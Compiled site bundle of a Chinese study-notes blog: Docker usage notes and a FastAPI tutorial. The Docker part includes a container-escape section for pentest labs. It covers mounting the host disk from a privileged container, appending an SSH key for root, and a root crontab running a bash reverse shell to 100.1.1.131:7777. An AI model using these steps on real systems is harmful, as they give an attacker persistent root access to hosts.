删除两个 id 相同的镜像 `,8),C={href:"https://blog.csdn.net/wx940627/article/details/106821002",target:"_blank",rel:"noopener noreferrer"},z=e("p",null,[n("通过 "),e("code",null,"docker rmi [镜像:tag]"),n(" 来删除对应标签的镜像, 实际上")],-1),H=e("hr",null,null,-1),P=e("h3",{id:"镜像导出与导入",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#镜像导出与导入","aria-hidden":"true"},"#"),n(" 镜像导出与导入")],-1),B={href:"https://blog.csdn.net/hx_long/article/details/122705151",target:"_blank",rel:"noopener noreferrer"},O=e("hr",null,null,-1),M=e("h3",{id:"将镜像跑为容器",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#将镜像跑为容器","aria-hidden":"true"},"#"),n(" 将镜像跑为容器")],-1),R={href:"https://www.runoob.com/docker/docker-run-command.html",target:"_blank",rel:"noopener noreferrer"},j=e("hr",null,null,-1),G=t(`docker run [ OPTIONS] IMAGE [ COMMAND] [ ARG.. .]
+
-a stdin
: 指定标准输入输出内容类型,可选 STDIN/STDOUT/STDERR 三项;
-d
: 后台运行容器,并返回容器ID;
-i
: 以交互模式运行容器,通常与 -t 同时使用;
-P
: 随机端口映射,容器内部端口随机 映射到主机的端口
-p
: 指定端口映射,格式为:主机(宿主)端口:容器端口
-t
: 为容器重新分配一个伪输入终端,通常与 -i 同时使用;
--name="nginx-lb"
: 为容器指定一个名称;
--dns 8.8.8.8
: 指定容器使用的DNS服务器,默认和宿主一致;
--dns-search example.com
: 指定容器DNS搜索域名,默认和宿主一致;
-h "mars"
: 指定容器的hostname;
-e username="ritchie"
: 设置环境变量;
--env-file=[]
: 从指定文件读入环境变量;
--cpuset="0-2" or --cpuset="0,1,2"
: 绑定容器到指定CPU运行;
-m
: 设置容器使用内存最大值;
--net="bridge"
: 指定容器的网络连接类型,支持 bridge/host/none/container: 四种类型;
--link=[]
: 添加链接到另一个容器;
--expose=[]
: 开放一个端口或一组端口;
--volume , -v
: 绑定一个卷
--restart=always
: 容器设置自动启动
no
: 不自动重启容器. (默认value)on-failure
: 容器发生 error而退出(容器退出状态不为0)重启容器 unless-stopped
: 在容器已经 stop 掉或 Docker stoped/restarted
的时候才重启容器always
: 在容器已经 stop 掉或 Docker stoped/restarted
的时候才重启容器如果创建时未指定 --restart=always
,可通过update 命令
docker update --restart=always [container-id]
+
docker run -it -d --name dvwa -p 8008:80 vuldocker/lamp
+
设置名字为dvwa,映射端口为8008
-i: 交互式操作。
-t: 终端(一般与i一起)
-d:后台运行。
从图中可以看到在执行
docker run -it -d --name dvwa -p 8008:80 vuldocker/lamp
+
指令时出现了问题,说已经有container使用了dvwa这个名字( The container name "/dvwa" is already in use by container "6e3fc590b41c9c6cf6c0d81de14730c127240edecb6a2a5e3debf1565eb3fe6b"
),但是从图中也可以看到docker ps指令执行后没有正在运行的container,可以执行
推送到 Habor 因为是在只有http sql apach服务的镜像上跑的容器,在容器里配置了dvwa(并没有改变镜像)
此时将原来的镜像推送还是只有http sql apach服务的镜像,没有自己在容器里的所有配置 需要将容器保存为镜像再去推送才行
在本地docker客户端--靶机进行如下配置:
touch /etc/docker/daemon.json
+vim /etc/docker/daemon.json
+
文件中如下配置
{
+ "insecure-registries" : ["habor-hostip:端口"]
+}
+
sudo systemctl daemon-reload
+sudo systemctl restart docker
+
+docker login [ HaborHostip:端口]
+
+docker tag SOURCE_IMAGE[ :TAG] [ HaborHostip] :[ 端口] /[ 目标路径] [ :TAG]
+
+docker push [ HaborHostip] :[ 端口] /[ 目标路径] [ :TAG]
+
后续可以通过 docker pull
命令拉取镜像
docker pull [ HaborHostip] :[ 端口] /[ 目标路径] [ :TAG]
+
容器 `,21),U={href:"https://www.cnblogs.com/cqqfboy/p/15209635.html",target:"_blank",rel:"noopener noreferrer"},V=t(` 常用指令 将镜像跑为容器
+docker container exec -it [ 容器id] /bin/bash
+docker container exec -it [ 容器id] /bin/sh
+
+
+
+docker rm -f $( docker ps -a -q )
+
+
+docker ps
+
+
+docker logs [ 容器ID]
+
从容器中复制文件到本地(docker cp) 例:从容器中复制一个test.db
文件到本地data
目录。
+
+
+docker run - itd - - name koko kitty: 0.1 / bin / bash
+
+docker cp koko: / tmp/ test. db . / data/ test. db
+
+docker rm - f koko
+
docker cp
也可以从本地copy文件到容器中:
+docker cp . / data/ test. db koko: / tmp/ test. db
+
在docker中,LAMP是指Linux(操作系统)、Apache HTTP服务器、MySQL(MariaDB等数据库软件)和PHP(Perl或Python)的组合方案,一般用来建立Web服务器环境。
`,12),Q={href:"https://www.php.cn/docker/488591.html",target:"_blank",rel:"noopener noreferrer"},W=e("hr",null,null,-1),F=e("h3",{id:"将容器重新打包成镜像",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#将容器重新打包成镜像","aria-hidden":"true"},"#"),n(" 将容器重新打包成镜像")],-1),K={href:"https://blog.csdn.net/weixin_45505313/article/details/125020076",target:"_blank",rel:"noopener noreferrer"},J=e("hr",null,null,-1),X=t(`在使用 docker-compose build
命令时, 在有些镜像 build 完启动后发现其环境是并不完整的, 缺少了一些东西
比如在复现 CVE-2015-3337 时需要安装一个 elasticsearch-head
的插件, 发现用 vulhub 仓库里的 dockerfile
docker-compose build
构建进行时插件实际上并没有安装成功, 但是镜像成功 build 了
进入启动的容器进行排错, 最终修复了问题后可以将目前用拥有完整环境的容器重新打包成镜像
Docker 提供了 commit
命令支持将容器重新打成镜像文件,其命令格式如下所示
docker commit [ OPTIONS] CONTAINER [ REPOSITORY[ :TAG] ]
+
Option 功能 -a 指定新镜像作者 -c 使用 Dockerfile 指令来创建镜像 -m 提交生成镜像的说明信息 -p 在 commit 时,将容器暂停
可以先查看下当前运行容器的 id
docker ps -a | grep [ 容器相关标识, 比如 cve-2015-3337 之类]
+
+docker commit -m "add elasticsearch-head" 10f2daf4ead5 cve-2015-3337_es:v0
+
安全相关 Docker逃逸 反弹 shell 中如何判断自己是否在 docker 容器中 看当前反弹 shell 的主机名称, 一堆数字字母的则可能是 docker 容器 id
查看根目录下有没有 .dockerenv
文件, 如果有的话则可能在 docker 环境中
反弹shell到特权模式的docker容器后进一步获取宿主机权限 在判断当前反弹shell位置为docker后可以尝试查看下系统中的所有银盘分区表信息
如果没有输出则不是特权模式启动的 Docker 容器
如果有输出则可以观察 Device 了
上图Type 为 Linux 的这条即为宿主机的系统分区
遇到过宿主是实体机固态装系统+一块机械时, 特权容器启动的 docker 能看到机械硬盘所在的分区, 系统分区显示的 /dev/nvme0n1p1
和 /dev/nvme0n1p2
, 一个 PE 一个 LinuxVM 似乎(也许不是 LinuxVM, 不过一定不是LINUX, TODO: 记得确认下), 此时只能再用 lvdisplay
找逻辑卷, 不过这条命令 Docker 容器中不一定有
看到系统分区后可以在容器中新建一个目录然后挂载该分区
mkdir /joker
+mount /dev/sda5 /joker
+
写公钥 可以尝试写 root 账户的公钥
在本机新建一对密钥
ssh-keygen -t rsa -C "xxl-job"
+
-C(comment)
随便填, 有辨识度就行
在命令执行的交互中可以设置密钥存放的路径, 然后根据回显找到 .pub
公钥
然后直接用 echo >>
来续写即可
然后就可以 cat 看下了, 顺利的话已经写进去了
然后可以直接 ssh 连接到宿主机了
写定时任务 ubuntu 默认没有 MTA, 因此执行定时任务可能会报这样的错:
所以需要在定时任务中第一行写上 MAILTO=""
以禁用邮件输出
此外直接写 bash -i >& /dev/tcp/100.1.1.131/7777 0>&1
到定时任务中不一定行得通, 可以写个脚本, 然后定时任务调脚本执行, 比如:
test.sh
:
#!/bin/bash
+bash -i >& /dev/tcp/100.1.1.131/7777 0 >&1
+
/var/spool/cron/crontabs/root
:
MAILTO=""
+* * * * * /bin/bash test.sh
+
常见问题 ERROR: could not find an available, non-overlapping IPv4 address pool among the defaults to assign to the network `,57),Y={href:"https://github.com/docker/for-linux/issues/418",target:"_blank",rel:"noopener noreferrer"},Z=t(` unable to connect to deb.debian.org:http
`,4),$={href:"https://stackoverflow.com/questions/44080220/docker-failed-to-fetch-http-deb-debian-org-debian-dists-jessie-inrelease",target:"_blank",rel:"noopener noreferrer"},ee=e("p",null,[e("img",{src:"http://cdn.ayusummer233.top/img/202209192029288.png",alt:"image-20220919202953164"})],-1),ne=e("p",null,[e("img",{src:"http://cdn.ayusummer233.top/img/202209192030522.png",alt:"image-20220919203028392"})],-1),ae=e("hr",null,null,-1),se=e("h3",{id:"there-is-no-public-key",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#there-is-no-public-key","aria-hidden":"true"},"#"),n(" There is no public key")],-1),te={href:"https://developer.aliyun.com/article/533899",target:"_blank",rel:"noopener noreferrer"},oe=t(`sudo apt-key adv --recv-keys --keyserver keyserver.ubuntu.com [报错缺失的public key]
+
debconf: delaying package configuration, since apt-utils is not installed `,3),ce={href:"https://github.com/phusion/baseimage-docker/issues/319",target:"_blank",rel:"noopener noreferrer"},ie=t(`apt-get update && apt-get install -y --no-install-recommends apt-utils
+
在使用 docker-compose build
时发现有些时候虽然 build 成功了但是实际上环境是不完整的, 比如在复现 CVE-2015-3337
时需要安装一个插件
发现 vulhub 该 cve 目录下 docker-compose build
拉取了一个空的插件安装包并且解压失败了 , 但是却成功 build
了
观察上图中的输出信息可以看到在安装插件时向 http://download.elasticsearch.org/mobz/elasticsearch-head/elasticsearch-head-1.x.zip.
请求了 zip 资源, 尝试在本地电脑上访问此链接发现下载不下来, 那么可以假定是指向链接出了问题, 那么现在就需要找到一个可用的插件安装链接
在使用 docker-compose up -d
后进入该容器然后尝试为拉取插件配置一个不可用的代理
plugin -DproxyHost = 192.168 .1.33 -DproxyPort = 7890 --install mobz/elasticsearch-head/1.x
+
此时会尝试从各个可能的地址拉取插件
在本地机器上尝试这些链接, 最终找到可用链接 https://codeload.github.com/mobz/elasticsearch-head/zip/refs/heads/1.x
于是可以使用该链接安装插件
bin/plugin --install mobz/elasticsearch-head/1.x -u https://codeload.github.com/mobz/elasticsearch-head/zip/refs/heads/1.x
+
验证插件是否安装成功:
可以看到已经成功安装上了
然后 将容器重新打包成镜像 以便后续使用
`,19);function le(de,re){const s=l("ExternalLinkIcon"),d=l("Tabs");return p(),u("div",null,[h,k,a(d,{id:"6",data:[{id:"Ubuntu"},{id:"Debian"},{id:"wsl2"}],active:0},{title0:o(({value:c,isActive:i})=>[n("Ubuntu")]),title1:o(({value:c,isActive:i})=>[n("Debian")]),title2:o(({value:c,isActive:i})=>[n("wsl2")]),tab0:o(({value:c,isActive:i})=>[e("blockquote",null,[e("p",null,[e("a",b,[n("ubuntu安装docker详细步骤 - 腾讯云开发者社区-腾讯云 (tencent.com)"),a(s)])]),e("p",null,[e("a",v,[n("Docker 入门指南:如何在 Ubuntu 上安装和使用 Docker - 卡拉云 (kalacloud.com)"),a(s)])]),g]),f,_,x,y,D]),tab1:o(({value:c,isActive:i})=>[e("blockquote",null,[e("p",null,[e("a",q,[n("在Kali Linux版本中安装Docker(Docker CE社区版)和Docker Compose_Linux教程_云网牛站 (ywnz.com)"),a(s)])]),w]),E]),tab2:o(({value:c,isActive:i})=>[e("blockquote",null,[e("p",null,[e("a",A,[n("docker wsl2启动不了_win10利用WSL2安装docker的2种方式_weixin_39786155的博客-CSDN博客"),a(s)])])]),N,S]),_:1}),T,e("blockquote",null,[e("p",null,[e("a",L,[n("关于docker容器和镜像的区别 - jason.bai - 博客园 (cnblogs.com)"),a(s)])])]),I,e("blockquote",null,[e("p",null,[e("a",C,[n("Docker - 两个id相同的镜像怎么删除_Joker_Wangx的博客-CSDN博客_docker 镜像重复"),a(s)])])]),z,H,P,e("blockquote",null,[e("p",null,[e("a",B,[n("docker容器导出,并将导出镜像在另外一台设备上运行起来_hx_long的博客-CSDN博客_docker 容器导出"),a(s)])])]),O,M,e("blockquote",null,[e("p",null,[e("a",R,[n("Docker run 命令 | 菜鸟教程 (runoob.com)"),a(s)])]),j]),G,e("blockquote",null,[e("p",null,[e("a",U,[n("容器Docker进入的四种方法 - 指尖上的代码go - 博客园 (cnblogs.com)"),a(s)])])]),V,e("blockquote",null,[e("p",null,[e("a",Q,[n("docker中的lamp是什么-Docker-PHP中文网"),a(s)])])]),W,F,e("blockquote",null,[e("p",null,[e("a",K,[n("Docker 使用-将容器打成镜像_谈谈1974的博客-CSDN博客_容器打包成镜像"),a(s)])]),J]),X,e("blockquote",null,[e("p",null,[n("["),e("a",Y,[n("openvpn] ERROR: could not find an available, non-overlapping IPv4 address pool among the defaults to assign to the network · Issue #418 · docker/for-linux (github.com)"),a(s)])])]),Z,e("blockquote",null,[e("p",null,[e("a",$,[n("Docker failed to fetch http://deb.debian.org/debian/dists/jessie/InRelease - Stack Overflow"),a(s)])])]),ee,ne,ae,se,e("blockquote",null,[e("p",null,[e("a",te,[n("使用apt-get时出现 “no public key available” 的解决方法-阿里云开发者社区 (aliyun.com)"),a(s)])])]),oe,e("blockquote",null,[e("p",null,[n("["),e("a",ce,[n("16.04] debconf: delaying package configuration, since apt-utils is not installed · Issue #319 · phusion/baseimage-docker (github.com)"),a(s)])])]),ie])}const me=r(m,[["render",le],["__file","Docker.html.vue"]]);export{me as default};
diff --git a/assets/FastAPI.html-9f135828.js b/assets/FastAPI.html-9f135828.js
new file mode 100644
index 0000000000..34d14bcb99
--- /dev/null
+++ b/assets/FastAPI.html-9f135828.js
@@ -0,0 +1 @@
+const l=JSON.parse('{"key":"v-f910ba1c","path":"/%E5%90%8E%E7%AB%AF/FastAPI/FastAPI.html","title":"FastAPI","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"前言","slug":"前言","link":"#前言","children":[]},{"level":2,"title":"起步","slug":"起步","link":"#起步","children":[{"level":3,"title":"导入 FastAPI","slug":"导入-fastapi","link":"#导入-fastapi","children":[]},{"level":3,"title":"创建一个 FastAPI 实例","slug":"创建一个-fastapi-实例","link":"#创建一个-fastapi-实例","children":[]},{"level":3,"title":"创建一个路径操作","slug":"创建一个路径操作","link":"#创建一个路径操作","children":[]},{"level":3,"title":"定义路径操作函数","slug":"定义路径操作函数","link":"#定义路径操作函数","children":[]},{"level":3,"title":"返回内容","slug":"返回内容","link":"#返回内容","children":[]}]},{"level":2,"title":"请求模型","slug":"请求模型","link":"#请求模型","children":[{"level":3,"title":"路径参数和数据的解析验证","slug":"路径参数和数据的解析验证","link":"#路径参数和数据的解析验证","children":[]},{"level":3,"title":"查询参数和数据的解析, 验证","slug":"查询参数和数据的解析-验证","link":"#查询参数和数据的解析-验证","children":[]},{"level":3,"title":"请求体及混合参数","slug":"请求体及混合参数","link":"#请求体及混合参数","children":[]},{"level":3,"title":"数据格式嵌套的请求体","slug":"数据格式嵌套的请求体","link":"#数据格式嵌套的请求体","children":[]},{"level":3,"title":"配置 Cookie 和 Header 参数","slug":"配置-cookie-和-header-参数","link":"#配置-cookie-和-header-参数","children":[]}]},{"level":2,"title":"响应模型","slug":"响应模型","link":"#响应模型","children":[{"level":3,"title":"response_model","slug":"response-model","link":"#response-model","children":[]},{"level":3,"title":"响应状态码","slug":"响应状态码","link":"#响应状态码","children":[]},{"level":3,"title":"表单数据处理","slug":"表单数据处理","link":"#表单数据处理","children":[]},{"level":3,"title":"文件上传及参数详解","slug":"文件上传及参数详解","link":"#文件上传及参数详解","children":[]},{"level":3,"title":"静态文件的配置","slug":"静态文件的配置","link":"#静态文件的配置","children":[]},{"level":3,"title":"路径操作配置","slug":"路径操作配置","link":"#路径操作配置","children":[]},{"level":3,"title":"FastAPI 配置项","slug":"fastapi-配置项","link":"#fastapi-配置项","children":[]},{"level":3,"title":"错误处理","slug":"错误处理","link":"#错误处理","children":[]}]},{"level":2,"title":"依赖注入","slug":"依赖注入","link":"#依赖注入","children":[{"level":3,"title":"创建, 导入和声明依赖","slug":"创建-导入和声明依赖","link":"#创建-导入和声明依赖","children":[]},{"level":3,"title":"类作为依赖项","slug":"类作为依赖项","link":"#类作为依赖项","children":[]},{"level":3,"title":"子依赖的创建和调用","slug":"子依赖的创建和调用","link":"#子依赖的创建和调用","children":[]},{"level":3,"title":"路径操作装饰器中导入依赖","slug":"路径操作装饰器中导入依赖","link":"#路径操作装饰器中导入依赖","children":[]},{"level":3,"title":"FastAPI 框架中全局依赖的使用","slug":"fastapi-框架中全局依赖的使用","link":"#fastapi-框架中全局依赖的使用","children":[]},{"level":3,"title":"使用 yield 的依赖和子依赖","slug":"使用-yield-的依赖和子依赖","link":"#使用-yield-的依赖和子依赖","children":[]}]},{"level":2,"title":"JSON Compatible Encoder","slug":"json-compatible-encoder","link":"#json-compatible-encoder","children":[{"level":3,"title":"使用 jsonable_encoder","slug":"使用-jsonable-encoder","link":"#使用-jsonable-encoder","children":[]}]},{"level":2,"title":"OAuth2.0 的授权模式","slug":"oauth2-0-的授权模式","link":"#oauth2-0-的授权模式","children":[{"level":3,"title":"密码授权模式(Resource Owner Password Credentials Grant)","slug":"密码授权模式-resource-owner-password-credentials-grant","link":"#密码授权模式-resource-owner-password-credentials-grant","children":[]},{"level":3,"title":"OAuth2 密码模式和 FastAPI 的 OAuth2PasswordBearer","slug":"oauth2-密码模式和-fastapi-的-oauth2passwordbearer","link":"#oauth2-密码模式和-fastapi-的-oauth2passwordbearer","children":[]},{"level":3,"title":"基于 Password 和 Bearer token 的 OAuth2 认证","slug":"基于-password-和-bearer-token-的-oauth2-认证","link":"#基于-password-和-bearer-token-的-oauth2-认证","children":[]},{"level":3,"title":"开发基于 JSON Web Tokens 的认证","slug":"开发基于-json-web-tokens-的认证","link":"#开发基于-json-web-tokens-的认证","children":[]}]},{"level":2,"title":"SQL(Relational) Databases","slug":"sql-relational-databases","link":"#sql-relational-databases","children":[{"level":3,"title":"创建 SQLAlchemy","slug":"创建-sqlalchemy","link":"#创建-sqlalchemy","children":[]},{"level":3,"title":"创建 database models","slug":"创建-database-models","link":"#创建-database-models","children":[]},{"level":3,"title":"创建 Pydantic model","slug":"创建-pydantic-model","link":"#创建-pydantic-model","children":[]},{"level":3,"title":"CRUD utils","slug":"crud-utils","link":"#crud-utils","children":[]},{"level":3,"title":"Main FastAPI app","slug":"main-fastapi-app","link":"#main-fastapi-app","children":[]},{"level":3,"title":"Prisma","slug":"prisma","link":"#prisma","children":[]}]},{"level":2,"title":"数据库操作(慕课网)","slug":"数据库操作-慕课网","link":"#数据库操作-慕课网","children":[{"level":3,"title":"配置 SQLAlchemy ORM","slug":"配置-sqlalchemy-orm","link":"#配置-sqlalchemy-orm","children":[]},{"level":3,"title":"DataBase Models","slug":"database-models","link":"#database-models","children":[]}]},{"level":2,"title":"大型工程的目录结构设计","slug":"大型工程的目录结构设计","link":"#大型工程的目录结构设计","children":[]},{"level":2,"title":"中间件","slug":"中间件","link":"#中间件","children":[]},{"level":2,"title":"跨域资源共享","slug":"跨域资源共享","link":"#跨域资源共享","children":[{"level":3,"title":"源","slug":"源","link":"#源","children":[]},{"level":3,"title":"步骤","slug":"步骤","link":"#步骤","children":[]},{"level":3,"title":"通配符","slug":"通配符","link":"#通配符","children":[]},{"level":3,"title":"使用 CORSMiddleWare","slug":"使用-corsmiddleware","link":"#使用-corsmiddleware","children":[]}]},{"level":2,"title":"后台任务","slug":"后台任务","link":"#后台任务","children":[{"level":3,"title":"与依赖注入一起使用","slug":"与依赖注入一起使用","link":"#与依赖注入一起使用","children":[]}]},{"level":2,"title":"高级用户指南","slug":"高级用户指南","link":"#高级用户指南","children":[{"level":3,"title":"启动和停止事件","slug":"启动和停止事件","link":"#启动和停止事件","children":[]}]},{"level":2,"title":"测试用例","slug":"测试用例","link":"#测试用例","children":[]},{"level":2,"title":"运行","slug":"运行","link":"#运行","children":[{"level":3,"title":"放在主程序中运行","slug":"放在主程序中运行","link":"#放在主程序中运行","children":[]}]},{"level":2,"title":"Pydantic","slug":"pydantic","link":"#pydantic","children":[{"level":3,"title":"数据类型","slug":"数据类型","link":"#数据类型","children":[]}]},{"level":2,"title":"报错收集","slug":"报错收集","link":"#报错收集","children":[{"level":3,"title":"文档站点加载不出来","slug":"文档站点加载不出来","link":"#文档站点加载不出来","children":[]}]}],"git":{"createdTime":1667837365000,"updatedTime":1675222387000,"contributors":[{"name":"233Official","email":"ayusummer233@qq.com","commits":8},{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":4}]},"readingTime":{"minutes":47.04,"words":14113},"filePathRelative":"后端/FastAPI/FastAPI.md","localizedDate":"2022年11月7日","excerpt":""}');export{l as data};
diff --git a/assets/FastAPI.html-aa6908d8.js b/assets/FastAPI.html-aa6908d8.js
new file mode 100644
index 0000000000..98a8b191c7
--- /dev/null
+++ b/assets/FastAPI.html-aa6908d8.js
@@ -0,0 +1,1344 @@
+import{_ as r}from"./plugin-vue_export-helper-c27b6911.js";import{r as l,o as d,c as k,b as n,e as s,d as a,w as p,f as e}from"./app-880c6425.js";const m={},v=e(' FastAPI 前言 随笔有一部分内容基于慕课网 21 年发的一份 FastAPI
基础教程
',4),b={href:"https://www.bilibili.com/video/BV1iN411X72b?p=19&spm_id_from=333.1007.top_right_bar_window_history.content.click",target:"_blank",rel:"noopener noreferrer"},h=n("hr",null,null,-1),g=n("h2",{id:"起步",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#起步","aria-hidden":"true"},"#"),s(" 起步")],-1),y={href:"https://fastapi.tiangolo.com/zh/tutorial/first-steps/",target:"_blank",rel:"noopener noreferrer"},q=e(`基本示例:
+
+
+from fastapi import FastAPI
+
+app = FastAPI( )
+
+@app. get ( "/" )
+async def root ( ) :
+ return { "message" : "Hello World" }
+
uvicorn main:app --reload
+
main
: main.py
文件(一个 Python「模块」)app
: 在 main.py
文件中通过 app = FastAPI()
创建的对象。--reload
: 让服务器在更新代码后重新启动。仅在开发时使用该选项。
在浏览器中访问 http://127.0.0.1:8000
交互式 API 文档: http://127.0.0.1:8000/docs
可选的 API 文档: http://127.0.0.1:8000/redoc#operation/read_item_items__item_id__get
导入 FastAPI from fastapi import FastAPI
+
FastAPI
是一个为你的 API 提供了所有功能的 Python 类。
`,9),f=n("code",null,"FastAPI",-1),_={href:"https://www.starlette.io/",target:"_blank",rel:"noopener noreferrer"},E={href:"https://www.worldlink.com.cn/en/osdir/starlette.html",target:"_blank",rel:"noopener noreferrer"},w=n("br",null,null,-1),A=n("img",{src:"http://cdn.ayusummer233.top/img/20220408094954.png",alt:"20220408094954"},null,-1),B=e(`可以通过 FastAPI
使用所有的 Starlette
的功能。
创建一个 FastAPI 实例 这里的变量 app 会是 FastAPI 类的一个「实例」
这个实例将是创建你所有 API 的主要交互对象。
这个 app 同样在如下命令中被 uvicorn 所引用:
uvicorn main:app --reload
+
创建一个路径操作 路径 `,9),x={href:"https://fastapi.tiangolo.com/zh/tutorial/first-steps/#_6",target:"_blank",rel:"noopener noreferrer"},P=n("p",null,"这里的「路径」指的是 URL 中从第一个 / 起的后半部分。",-1),S=n("p",null,[s("所以,在一个这样的 URL 中: "),n("code",null,"https://example.com/items/foo"),s(" 路径会是 "),n("code",null,"/items/foo")],-1),F=n("blockquote",null,[n("p",null,"「路径」也通常被称为「端点」或「路由」。")],-1),T=n("p",null,"开发 API 时,「路径」是用来分离「关注点」和「资源」的主要手段。",-1),D=n("h4",{id:"操作",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#操作","aria-hidden":"true"},"#"),s(" 操作")],-1),I={href:"https://fastapi.tiangolo.com/zh/tutorial/first-steps/#_7",target:"_blank",rel:"noopener noreferrer"},C=e('这里的「操作」指的是一种 HTTP「方法」。
下列之一:
以及更少见的几种:
在 HTTP 协议中,你可以使用以上的其中一种(或多种)「方法」与每个路径进行通信。
在开发 API 时,通常使用特定的 HTTP 方法去执行特定的行为。
通常使用:
POST
: 创建数据。GET
: 读取数据。PUT
: 更新数据。DELETE
: 删除数据。因此,在 OpenAPI 中,每一个 HTTP 方法都被称为「操作」。
我们也打算称呼它们为「操作」。
定义一个路径操作装饰器 ',12),L={href:"https://fastapi.tiangolo.com/zh/tutorial/first-steps/#_8",target:"_blank",rel:"noopener noreferrer"},O=e(`@app.get("/")
告诉 FastAPI 在它下方的函数负责处理如下访问请求:
@something
语法在 Python 中被称为「装饰器」。 装饰器接收位于其下方的函数并且用它完成一些工作。 在我们的例子中,这个装饰器告诉 FastAPI 位于其下方的函数对应着路径 / 加上 get 操作。 它是一个「路径操作装饰器」。
定义路径操作函数 `,5),U={href:"https://fastapi.tiangolo.com/zh/tutorial/first-steps/#4",target:"_blank",rel:"noopener noreferrer"},R=e(`这是我们的「路径操作函数」:
路径:是 /。 操作:是 get。 函数:是位于「装饰器」下方的函数(位于 @app.get("/") 下方)。
from fastapi import FastAPI
+
+app = FastAPI( )
+
+@app. get ( "/" )
+async def root ( ) :
+ return { "message" : "Hello World" }
+
每当 FastAPI 接收一个使用 GET 方法访问 URL「/」的请求时这个函数会被调用。
返回内容 `,5),H={href:"https://fastapi.tiangolo.com/zh/tutorial/first-steps/#5",target:"_blank",rel:"noopener noreferrer"},N=e(`return { "message" : "Hello World" }
+
你可以返回一个 dict、list,像 str、int 一样的单个值,等等。
你还可以返回 Pydantic 模型(稍后你将了解更多)。
还有许多其他将会自动转换为 JSON 的对象和模型(包括 ORM 对象等)。尝试下使用你最喜欢的一种,它很有可能已经被支持。
请求模型 路径参数和数据的解析验证 枚举类型 可以使用枚举类型来指定参数范围
+from enum import Enum
+
+class CityName ( str , Enum) :
+ Beijing = 'Beijing'
+ Xian = 'Xian'
+
需要注意的是定义整型枚举类型是在 FastAPI 中不可以用 (int, Enum)
或者仅仅是使用 Enum, 应当先从 enum 导入 IntEnum, 然后使用 IntEnum 来定义整型枚举类型
+from enum import Enum, IntEnum
+
+
+class DidEnum ( IntEnum) :
+ LinChuang= 1
+ NeiKe= 2
+ WaiKe= 3
+ Fuke= 4
+ ErKe= 5
+
+
+@router. get ( "/getStaffByDid/{did}" , tags= [ "获取某个部门的员工" ] )
+async def readStaffByDid ( did: DidEnum) :
+ return { "username" : "Rick" + str ( type ( did) ) + "value:" + str ( did) }
+
查询参数和数据的解析, 验证 默认参数与可选参数 from typing import Optional
+
+@router. get ( "/query" )
+def page_limit ( page: int = 1 , limit: Optional[ int ] = None ) :
+ if limit:
+ return { "page" : page, "limit" : limit}
+ return { "page" : page}
+
从 typing 引入 Optional 然后在参数中使用即可
bool 参数
+@router. get ( "/query/bool/conversion" )
+async def type_conversion ( param: bool = False ) :
+ return { "param" : param}
+
若非 bool 类型传参则会报 422 Unprocessable Entity
多个参数, 列表, 字符串验证, 正则, 参数别名 from typing import (
+ Optional,
+ List,
+)
+
+from fastapi import (
+ APIRouter,
+ Depends,
+ HTTPException,
+ Path,
+ Query,
+ )
+
+
+@router. get ( "/query/validations" )
+async def query_params_validate (
+
+ value: str = Query( . . . , min_length= 8 , max_length= 16 , regex= "^a" ) ,
+ values: List[ str ] = Query( default= [ "v1" , "v2" ] , alias= "alias_name" )
+ ) :
+ return value, values
+
需要注意的是: 当时用参数别名时, 查询时 query 参数应当使用别名
请求体及混合参数 请求体和字段 from pydantic import (
+ BaseModel,
+ Field,
+)
+
+
+
+class CityInfo ( BaseModel) :
+ name: str = Field( . . . , example= 'Beijing' )
+ country: str = Field( . . . , example= 'China' )
+ contry_code: str = Field( . . . , example= 'CN' )
+ contry_population: int = Field( default= 800 , title= "人口数量" ,
+ description= "国家的人口数量" , ge= 800 )
+ class Config :
+ schema_extra = {
+ "example" : {
+ "name" : "Beijing" ,
+ "country" : "China" ,
+ "contry_code" : "CN" ,
+ "contry_population" : 1400000000
+ }
+ }
+
+@router. post ( "/request_body/city" , tags= [ "city" ] )
+async def city_info ( city: CityInfo) :
+ print ( city. name, city. country)
+ return city. dict ( )
+
成功响应:
country_population
不在允许范围内:
需要注意的是, 这里的请求体就不是 query 了而是 body(application/json)
多参数混合
+@router. put ( "/request_body/city/{name}" )
+async def mix_city_info (
+ name: str ,
+ city01: CityInfo,
+ city02: CityInfo,
+ confirmed: int = Query( ge= 0 , description= "确诊数" , default= 0 ) ,
+ death: int = Query( ge= 0 , description= "死亡数" , default= 0 )
+ ) :
+ if name == "Shanghai" :
+ return {
+ "Shanghai" :
+ {
+ "confirmed" : confirmed,
+ "death" : death
+ }
+ }
+ return city01. dict ( ) , city02. dict ( )
+
直接在参数中添加不同类型参数即可
query 包括 name, confirmed, death
body 包括两个 CityInfo: city01, city02
数据格式嵌套的请求体 在使用 Pydantic 定义请求体数据的时候, 校验使用 pydantic.Field
校验路径使用 fastapi.Path
校验查询参数用 fastapi.Query
+from datetime import date
+
+
+
+class Data ( BaseModel) :
+ city: List[ CityInfo] = None
+ date: date
+
+ confirmed: int = Field( default= 0 , ge= 0 , description= "确诊数" )
+ death: int = Field( default= 0 , ge= 0 , description= "死亡数" )
+ recovered: int = Field( default= 0 , ge= 0 , description= "治愈数" )
+
+@router. put ( "/request_body/nested" )
+async def nested_models ( data: Data) :
+ return data
+
+
+
Cookie 校验 from fastapi import Cookie
+
+@router. get ( "/cookie" )
+async def cookie ( cookie_id: Optional[ str ] = Cookie( None ) ) :
+ return { "cookie_id" : cookie_id}
+
调试需要在 apipost 中调下, 在 Header 中设置 Cookie
from fastapi import Header
+
+
+@router. get ( "/header" )
+async def header ( user_agent: Optional[ str ] = Header(
+ None ,
+ convert_underscores= True
+ ) ,
+
+ x_token: List[ str ] = Header( None )
+ ) :
+ return { "user_agent" : user_agent, "x_token" : x_token}
+
需要注意的是, 第二个参数就是普通的 Header 参数, 只有将参数名称设置为 user_agent 时才能正确接收到 user_agent
需要注意的是, 设置了 *convert_underscores=True
的话发请求的时候 Header 中的相应参数要使用短横线而非下划线, 如 user-agent, x-token, 否则会无法正确接收到信息
响应模型 response_model 使用 pydantic.BaseModel
派生子类创建响应模型类, 在写路由时使用 response_model=xxx
来指定 xxx
为响应模型, 这样返回的响应就是一个 xxx
实例
